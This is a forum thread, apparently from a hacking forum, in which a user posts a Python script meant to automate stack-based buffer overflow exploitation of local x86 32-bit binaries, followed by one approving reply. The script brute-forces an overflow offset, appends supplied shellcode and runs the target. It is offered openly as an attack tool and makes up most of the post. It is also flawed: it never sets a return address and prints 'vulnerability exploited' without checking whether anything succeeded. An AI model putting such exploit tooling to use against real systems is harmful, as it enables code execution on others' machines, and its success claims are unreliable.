python local stack-based buffer overflow exploit script

lola_mybb_import14421 · 07-10-2015, 11:05 PM

[hide]

Code:
#!/usr/bin/env python

#developed by neko of neksec, 100% legal hacking group

#this script is designed to automate the process of exploiting stack-based
#buffer overflow vulnerabilities on x86 32-bit systems

#this script assumes that the user input is allocated to the buffer via stdin

#contact: neko@creep.im

import sys
import subprocess
import locale
import time

#edit the following variables
# -------------------------

#shellcode format should ONLY contain machine instructions, ex: b00131dbcd80
#you can use dashes to make the shellcode easier to read, ex: b0-01-31-db-cd-80
#default shellcode will just write A to the EAX register

shellcode = """41-41-41-41"""

target = "/usr/bin/target"
overflow_point = 0 #if set to 0, this script will attempt to bruteforce the overflow point in the binary

verbose = True

# -------------------------
# do not change anything else below this


encoding = locale.getdefaultlocale()[1]


def init_shellcode():
    shellcode_ = [shellcode.replace("-", "")[i:i+2] for i in range(0, len(shellcode.replace("-", "")), 2)]

    global code
    code = ""
    for x in shellcode_:
        code += "\\x{0}".format(x)

def init_target():
    p = subprocess.Popen(["file", target], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()

    if "32-bit" in out.decode(encoding):
        if verbose == True:
            print("target binary is a x86 32-bit target\n")
    else:
        print("ERROR: target binary is not a x86 32-bit target, exiting")
        quit()

def bruteforce_overflow_point():
    if verbose == True:
        print("now attempting to bruteforce the overflow point")
    buf_input = "A"
    oflow_point = 1
    while True:
        p = subprocess.Popen([target, buf_input], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()

        if out.decode(encoding):
            if verbose == True:
                print("current attempt: {0}".format(oflow_point))
            buf_input += "A"
            oflow_point += 1
        else:
            if verbose == True:
                print("overflow_point found: {0}".format(oflow_point - 1))
            break
        if verbose == True:
            time.sleep(0.5)
    return oflow_point - 1

def attack(oflow_point):
    buf_input = ""
    for x in range(0, oflow_point):
        buf_input += "A"

    buf_input += code

    if verbose == True:
        print("buffer input: {0}".format(buf_input))

    subprocess.Popen([target, buf_input], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def main():
    if overflow_point == 0:
        if verbose == True:
            print("overflow point is unknown, will attempt to bruteforce the overflow point later")
        global bruteforce
        bruteforce = True

    init_shellcode()

    print(code)
    if verbose == True:
        print("length of shellcode: {0}".format(len(code.replace("\\x", ""))))
    print("...")

    if verbose == True:
        print("target binary: {0}".format(target))
        print("bytes of data required before overflow: {0}".format(overflow_point))

    init_target()

    if bruteforce == True:
        global bruteforced_overflow_point
        bruteforced_overflow_point = bruteforce_overflow_point()

    if bruteforce == True:
        attack(bruteforced_overflow_point)
    else:
        attack(overflow_point)

    print("all stages successfully executed, vulnerability exploited")

if __name__ == "__main__":
    main()

[/hide]

alright. this script is designed for exploiting stack-based buffer overflow vulnerabilities on x86 32-bit machines. this script also assumes that the data allocated to the buffer is assigned from stdin. literally just wrote this tonight so if you got some criticism through it my way.
not really much else to say. I added comments and whatnot to the top of the script, so I don't see much point in repeating myself.
enjoy I suppose.
also if you have any questions regarding the script or buffer overflows in general then feel free to ask, I'll do my best to help.

Ducati · 07-10-2015, 11:08 PM

Ah sweet dude, nice contribution, Python was my first language and It's good to see a lot of people still using it.

+1